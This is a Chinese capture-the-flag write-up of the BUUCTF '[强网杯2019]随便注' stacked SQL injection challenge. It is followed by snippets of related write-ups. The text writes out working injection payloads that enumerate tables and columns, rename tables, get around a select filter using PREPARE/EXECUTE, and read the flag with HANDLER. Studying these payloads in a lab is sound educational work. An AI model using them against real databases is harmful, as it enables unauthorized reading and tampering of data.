BUUCTF-[强网杯2019]随便注
强网杯2019随便注
它说随便注,它可不是随便注入的哈
首先测试闭合环境,因为有回显,所以很快即知道了是一个单引号闭合
接下来常规操作,得到列数大概为2
1';select 2;
返回了过滤信息
于是使用show来查看库,表,列
显然,这里已经将select过滤掉,只有对这个过滤进行一个绕过才能够得到flag
接着查询表名:
1';show tables;
又发现这里有两个表名
所以考虑3个方式:
方式1:修改表名
思路:既然只输入一个值进去就能够查询,说明这里的前后,必然有表名的存在。能不能将
增加列:
alter table tableName add columnName varchar(30)
修改列名称:
sp_rename '表名.原列名','新列名'
修改表名:
alter table old_table_name rename to new_table_name;
playload+解释:
1.查看表名:
1’;show tables;
得到两张表:
`1919810931114514`
`words`
2.查看表结构:
1';show columns from `1919810931114514`;
1';show columns from `words`;
由于图片有点长,就不粘贴了
需要注意的在表`1919810931114514`中有flag,在`words`中有id
3.修改表名:将数字表修改为其它名字
1';alter table `1919810931114514` rename to shuzi;
4.修改表名2:交换名称
1';alter table `words` rename to `1919810931114514`;alter table `shuzi` rename to `words`;sp_rename 'words.flag','id';
为什么这一句这么长?
因为查询的是words表的id,修改之后,原来的数字表中不存在id,所以要进行添加,必须在修改words的时候添加。如果不在这个时候添加,就会出现语句漏洞,而报错,就得重新开环境了。别问为什么,因为错了很多次。
结果报错了:
那看来不能修改表名。俺这里是真的不行了,建议看看其他大佬的。
方法2:预处理
1';set @sql=concat('s','elect * from 1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;--+
MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园 (cnblogs.com))
方法3:handler
利用其他命令:
handler table open;handler table read first; #打开表,读取
-1';handler `words` open;handler `words` read first;#
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
BUUCTF-[强网杯2019]随便注的更多相关文章
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- BUUCTF[强网杯 2019]随便注(堆叠注入)
记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...
- [BUUOJ记录] [强网杯 2019]随便注(三种方法)
本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...
- 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)
然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- WriteUp_easy_sql_堆叠注入_强网杯2019
题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...
- [原题复现]2019强网杯WEB-随便注(多种方法)
简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli 考察知识点:SQL注入漏洞-堆叠注入 线上平台:https://buuoj.cn( ...
- [强网杯2019]upload buuoj
提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...
- [强网杯 2019]Upload
0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
随机推荐
- 微服务---Dubbo+Zookeeper
dubboAdmin客户端 --监控 && 启动 Zookeeper 客户端 --注册中心 生产者: <?xml version="1.0" encoding ...
- 图神经网络之预训练大模型结合:ERNIESage在链接预测任务应用
1.ERNIESage运行实例介绍(1.8x版本) 本项目原链接:https://aistudio.baidu.com/aistudio/projectdetail/5097085?contribut ...
- 【Scala复习】基础知识、函数式编程、面向对象、集合、隐式转换、模式匹配、泛型
重点版 详细版 基础知识常量和变量尽量使用常量val别使用变量var变量的命名数字字母下划线_特殊的用法数据类型java基本数据类型引用数据类型scalaAny-对象的根类AnyVal-数值类型Lon ...
- 【RocketMQ】主从同步实现原理
主从同步的实现逻辑主要在HAService中,在DefaultMessageStore的构造函数中,对HAService进行了实例化,并在start方法中,启动了HAService: public c ...
- Oracle查询,将某列查询结果用逗号隔开,拼接成一行(listagg函数)
需求:Oracle数据库,通过查询,将查询字段的该列结果用逗号拼接成一行. 1. 查询语法 select listagg('字段',',') within group (order by '字段') ...
- 深入理解 MySQL 的事务隔离级别和 MVCC 机制
前言 我们都知道 MySQL 实现了 SQL 标准中的四个隔离级别,但是具体是如何实现的可能还一知半解,本篇博客将会从代码层面讲解隔离级别的实现方式,下面进入正题. 事务 考虑这样一个场景:博主向硝子 ...
- 记开源项目:DotNetCore.CAP.MySql问题分析:only mysqlparameter objects may be stored
1. 简介 最近在学习分布式事务及解决方案,最终找到了开源项目DotNetCore.CAP ,因为自己用的MySql数据库比较多.于是也使用MySQL+EFCore+RabbitMQ+CAP实现事务 ...
- Blazor组件自做十二 : Blazor Pdf Reader PDF阅读器 组件 (新版 7.1 移除pdfobject)
Blazor Pdf Reader PDF阅读器 组件 示例: https://www.blazor.zone/PdfReaders https://blazor.app1.es/pdfReaders ...
- 浅聊一下Django如何避免xss攻击
一.什么是xss攻击 xss攻击:----->web注入 xss跨站脚本攻击(Cross site script,简称xss)是一种"HTML注入",由于攻击的脚本多数时候是 ...
- JUC基础学习笔记
JUC的理解: JUC即java.util .concurrent工具包的简称.从JDK 1.5 开始出现,主要用于处理多线程.高并发问题. 多线程的三大特征解析 原子性.可见性.有序性 1.原子性: ...